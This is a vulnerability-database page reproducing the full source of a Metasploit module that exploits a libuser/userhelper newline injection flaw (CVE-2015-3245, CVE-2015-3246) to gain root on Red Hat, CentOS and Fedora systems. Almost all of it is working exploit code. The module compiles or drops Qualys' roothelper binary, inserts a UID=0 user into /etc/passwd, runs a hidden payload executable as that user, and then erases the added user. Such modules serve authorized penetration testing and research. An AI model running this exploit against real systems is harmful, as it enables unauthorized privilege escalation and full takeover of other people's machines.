Lucene search
+L

Libuser roothelper Privilege Escalation

🗓️ 24 Jul 2015 00:00:00Reported by Qualys, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 73 Views

This module exploits a newline injection vulnerability in libuser and userhelper to gain root privileges on Red Hat based Linux systems. It uses roothelper.c to insert a new user with UID=0 in /etc/passwd and requires the current user's password

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Libuser roothelper Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges on Red Hat based Linux
          systems, including RHEL, Fedora and CentOS, by exploiting a newline
          injection vulnerability in libuser and userhelper versions prior to
          0.56.13-8 and version 0.60 before 0.60-7.

          This module makes use of the roothelper.c exploit from Qualys to
          insert a new user with UID=0 in /etc/passwd.

          Note, the password for the current user is required by userhelper.

          Note, on some systems, such as Fedora 11, the user entry for the
          current user in /etc/passwd will become corrupted and exploitation
          will fail.

          This module has been tested successfully on libuser packaged versions
          0.56.13-4.el6 on CentOS 6.0 (x86_64);
          0.56.13-5.el6 on CentOS 6.5 (x86_64);
          0.60-5.el7 on CentOS 7.1-1503 (x86_64);
          0.56.16-1.fc13 on Fedora 13 (i686);
          0.59-1.fc19 on Fedora Desktop 19 (x86_64);
          0.60-3.fc20 on Fedora Desktop 20 (x86_64);
          0.60-6.fc21 on Fedora Desktop 21 (x86_64);
          0.60-6.fc22 on Fedora Desktop 22 (x86_64);
          0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
          0.60-5.el7 on Red Hat 7.0 (x86_64).

          RHEL 5 is vulnerable, however the installed version of glibc (2.5)
          is missing various functions required by roothelper.c.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Qualys', # Discovery and C exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2015-07-24',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'EDB', '37706' ],
          [ 'CVE', '2015-3245' ],
          [ 'CVE', '2015-3246' ],
          [ 'BID', '76021' ],
          [ 'BID', '76022' ],
          [ 'URL', 'https://seclists.org/oss-sec/2015/q3/185' ],
          [ 'URL', 'https://access.redhat.com/articles/1537873' ]
        ],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_execute
            ]
          }
        },
        'Notes' => {
          'AKA' => ['roothelper.c'],
          'Stability' => [SERVICE_RESOURCE_LOSS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
      OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def password
    datastore['PASSWORD'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def live_compile?
    compile = false

    if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
      if has_gcc?
        vprint_good 'gcc is installed'
        compile = true
      else
        unless datastore['COMPILE'].eql? 'Auto'
          fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
        end
      end
    end

    compile
  end

  def check
    userhelper_path = '/usr/sbin/userhelper'
    return CheckCode::Safe("#{userhelper_path} file not found") unless file? userhelper_path
    return CheckCode::Safe("#{userhelper_path} is not setuid") unless setuid? userhelper_path

    vprint_good "#{userhelper_path} is setuid"

    unless command_exists? 'script'
      vprint_error 'script is not installed. Exploitation will fail.'
      return CheckCode::Safe('script is not installed')
    end
    vprint_good 'script is installed'

    if immutable?('/etc/passwd')
      vprint_error 'File /etc/passwd is immutable'
      return CheckCode::Safe('/etc/passwd is immutable')
    end
    vprint_good 'File /etc/passwd is not immutable'

    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Detected('Could not determine GNU C Library version')
    end

    # roothelper.c requires functions only available since glibc 2.6+
    if glibc_version < Rex::Version.new('2.6')
      vprint_error "GNU C Library version #{glibc_version} is not supported"
      return CheckCode::Safe("GNU C Library version #{glibc_version} is not supported")
    end
    vprint_good "GNU C Library version #{glibc_version} is supported"

    CheckCode::Detected("GNU C Library version #{glibc_version} detected but exploitability is uncertain")
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"

    if live_compile?
      vprint_status 'Live compiling exploit on system...'

      # Upload Qualys' roothelper.c exploit:
      # - https://www.exploit-db.com/exploits/37706/
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
      fd = ::File.open path, 'rb'
      c_code = fd.read fd.stat.size
      fd.close
      upload "#{executable_path}.c", c_code
      output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"

      unless output.blank?
        print_error output
        fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
      end

      cmd_exec "chmod +x #{executable_path}"
      register_file_for_cleanup executable_path
    else
      vprint_status 'Dropping pre-compiled exploit on system...'

      # Cross-compiled with:
      # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
      fd = ::File.open path, 'rb'
      executable_data = fd.read fd.stat.size
      fd.close
      upload_and_chmodx executable_path, executable_data
    end

    # Run roothelper
    timeout = 180
    print_status "Launching roothelper exploit (Timeout: #{timeout})..."
    output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }

    if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
      register_file_for_cleanup ::Regexp.last_match(1)
    end

    if output =~ /died in parent: .*.c:517: forkstop_userhelper/
      fail_with Failure::NoAccess, 'Incorrect password'
    end

    @username = nil

    if output =~ /Exploit successful, run "su ([a-z])" to become root/
      @username = ::Regexp.last_match(1)
    end

    if @username.blank?
      fail_with Failure::Unknown, 'Something went wrong'
    end

    print_good "Success! User '#{@username}' added to /etc/passwd"

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Execute payload executable
    vprint_status 'Executing payload...'
    cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
    register_file_for_cleanup 'typescript'
  end

  #
  # Remove new user from /etc/passwd
  #
  def on_new_session(session)
    new_user_removed = false

    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'

      # Remove new user
      session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""

      # Wait for clean up
      Rex.sleep 5

      # Check for new user in /etc/passwd
      passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
      unless passwd_contents =~ /^#{@username}:/
        new_user_removed = true
      end
    elsif session.type.to_s.eql? 'shell'
      # Remove new user
      session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"

      # Check for new user in /etc/passwd
      passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
      unless passwd_user =~ /^#{@username}:/
        new_user_removed = true
      end
    end

    unless new_user_removed
      print_warning "Could not remove user '#{@username}' from /etc/passwd"
    end
  rescue StandardError => e
    print_error "Error during cleanup: #{e.message}"
  ensure
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation